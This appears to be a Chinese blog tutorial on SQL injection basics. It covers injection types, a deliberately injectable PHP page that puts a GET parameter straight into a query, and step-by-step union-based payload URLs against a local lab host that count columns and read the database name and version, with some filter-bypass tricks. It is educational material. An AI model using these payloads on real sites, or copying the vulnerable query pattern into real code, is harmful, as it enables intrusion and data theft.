这篇文章给大家介绍sql注入漏洞的基础是什么,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
一、简介
SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
二、产生的原因
1.程序在开发的时候没对用户的数据过滤,把用户的数据都当做可信数据。
2.过滤不严格。
3.数据库配置不当。
4.转义不当。
三、注入点分类
1、数字型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1
2、字符型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?name=aiyou 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='aiyou'。注意多了引号。组合出来的sql注入语句为:select * from news where name='admin'
3、搜索型注入:
在 Web 端大概是 http://www.aiyou.com/news.php?keyword=aiyou 这种形式,其原形大致为:select * from 表名 where 字段 like '%aiyou%',组合出来的sql注入语句为:select * from news where search like '%aiyou %'
四、数字型实例
1、新建一个根据id查询专辑的php页面
<meta charset="utf-8"><?phpinclude("connect.php");//连接数据库if(isset($_GET['id'])){ $id=$_GET['id']; $sql="SELECT * FROM zhuanji WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo '专辑名称:'. $row['name']; echo ""; echo '发行时间:' .$row['year']; echo ""; echo '主 打 歌:' .$row['zhudage']; } else { print_r(mysql_error()); }} else { echo "网址错误"; }?>
2、访问:http://192.168.1.129/php/szx.php?id=1
3、测试注入是否存在
http://192.168.1.129/php/szx.php?id=1 and 1=1 返回正常
http://192.168.1.129/php/szx.php?id=1 and 1=2 返回错误
存在注入
4、判断该表的列数
http://192.168.1.129/php/szx.php?id=1 order by 5 返回错误
http://192.168.1.129/php/szx.php?id=1 order by 4 返回正常
该表有4列
5、联合查询
http://192.168.1.129/php/szx.php?id=-1 union select 1,2,3,4
6、获取数据库名称和mysql版本号
http://192.168.1.129/php/szx.php?id=-1 union select 1,database(),version(),4
五、mysql5.0以上版本的特性:
默认定义information_schema数据库,里面具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)
在schemata表中,schema_name字段用来存储数据库名
在tables表中,table_schema和table_name分别用来存储数据库名和表名。
在columns表中,tabel_schema存储数据库名,table_name存储表名,column_name存储字段名
注意:
1、Mysql中的大小写不敏感,大小写一样
2、Mysql中的十六进制与URL编码都可以识别。
3、符号和关键字替换 and--&& or--||,and优先级高于or
4、内联注释 /*!内联注释*/ ,/*!/*!*/是等效于/*!*/的
关于sql注入漏洞的基础是什么就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。